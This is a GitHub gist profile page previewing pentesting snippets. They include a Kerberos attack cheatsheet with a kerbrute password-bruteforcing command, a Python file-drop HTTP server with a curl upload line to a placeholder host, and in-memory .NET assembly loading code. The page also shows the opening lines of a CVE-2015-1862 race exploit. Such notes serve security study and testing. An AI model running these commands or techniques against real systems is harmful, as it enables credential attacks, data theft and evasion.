Skip to content

Instantly share code, notes, and snippets.

View binarytrails's full-sized avatar
:octocat:
0x3a0x29

binarytrails

:octocat:
0x3a0x29
View GitHub Profile
@binarytrails
binarytrails / recon-ng_keys.md
Created February 14, 2022 20:03
Recon-ng Keys Setup

Instructions for Recon-NG v4.8.3:

API Keys:

  1. bing_api (optional $$$) - Sign up here (I chose the free plan), agree to all the terms until you get to "Thank You", then go here to view the key. (free account: 5000 transactions per month)

  2. builtwith_api - Go here and sign up. Once you enter an email and password, it will show you the API key

  3. censysio_id - Go here and sign up. Once you register, confirm your account by clicking on the link in the email. Then login and go here to view the "ID" and "Secret"

@binarytrails
binarytrails / kerberos_attacks_cheatsheet.md
Created January 19, 2022 21:25 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@binarytrails
binarytrails / http_server.py
Last active November 8, 2021 23:34
smol HTTP Server to drop files
#!/usr/env python3
import http.server
import socketserver
import io
import cgi
# Change this to serve on a different port
PORT = 80
# curl -F "[email protected]" http://<ip>:80/file.txt
@binarytrails
binarytrails / xor.ps1
Created October 29, 2021 19:52 — forked from gabemarshall/xor.ps1
Simple Encrypt and Decrypt with Powershell
# Not secure by any means, just a PoC for XOR'ing data using powershell
# Credit to http://stackoverflow.com/questions/3478954/code-golf-xor-encryption
$enc = [System.Text.Encoding]::UTF8
function xor {
param($string, $method)
$xorkey = $enc.GetBytes("secretkey")
if ($method -eq "decrypt"){
@binarytrails
binarytrails / snippet.cs
Created August 4, 2021 14:16 — forked from silentbreaksec/snippet.cs
Convert C# EXE to Assembly
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
public static string[] CommandLineToArgs(string commandLine)
{
int argc;
var argv = CommandLineToArgvW(commandLine, out argc);
if (argv == IntPtr.Zero)
throw new System.ComponentModel.Win32Exception();
try
@binarytrails
binarytrails / TestAssembly.cs
Created August 4, 2021 13:35 — forked from Arno0x/TestAssembly.cs
This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method
/*
================================ Compile as a .Net DLL ==============================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs
*/
using System.Windows.Forms;
namespace TestNamespace
@binarytrails
binarytrails / gist:49d74a0ca9151ab262e004a45f0dfc9a
Created March 1, 2021 22:01 — forked from spudbean/gist:1558257
Look of disapproval and other emoticons
ΰ² _ΰ² 
( Ν‘Β° ΝœΚ– Ν‘Β°)
Β―\_(ツ)_/Β―
(β•―Β°β–‘Β°)β•―οΈ΅ ┻━┻
http://www.fileformat.info/convert/text/upside-down.htm
WRTTN http://wrttn.me/30dbfd/
Unicode Emoticons
@binarytrails
binarytrails / selks6.conf
Last active February 10, 2021 23:43
selks6.conf
# https://github.com/StamusNetworks/SELKS/wiki/Kibana-did-not-load-properly
# replace '/etc/nginx/sites-available/selks6.conf'
server {
listen 127.0.0.1:80;
listen 127.0.1.1:80;
listen 443 default_server ssl;
ssl_certificate /etc/nginx/ssl/scirius.crt;
ssl_certificate_key /etc/nginx/ssl/scirius.key;
server_name SELKS;
access_log /var/log/nginx/scirius.access.log;

Ethereum Attacks

Security for internet applications is a spectrum, and it would be safe to assume that any application might have unnoticed vulnerabilities waiting to be exploited. Cryptocurrencies are especially attractive targets for hackers: because the technology is so novel, it is more likely to be hiding bugs, and the code usually interacts with tokens that have real-world value. Ethereum is no exception.

Attackers have successfully stolen ether using a number of tactics, which tend to aim at Ethereum smart contracts (written in Solidity), the network itself, cryptocurrency exchanges, or end users.

Attacks on Smart Contracts

The DAO

@binarytrails
binarytrails / raceabrt.c
Created January 26, 2021 19:19 — forked from taviso/raceabrt.c
Race condition exploit for CVE-2015-1862
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <stdio.h>
#include <signal.h>
#include <err.h>
#include <string.h>
#include <alloca.h>
#include <limits.h>
#include <sys/inotify.h>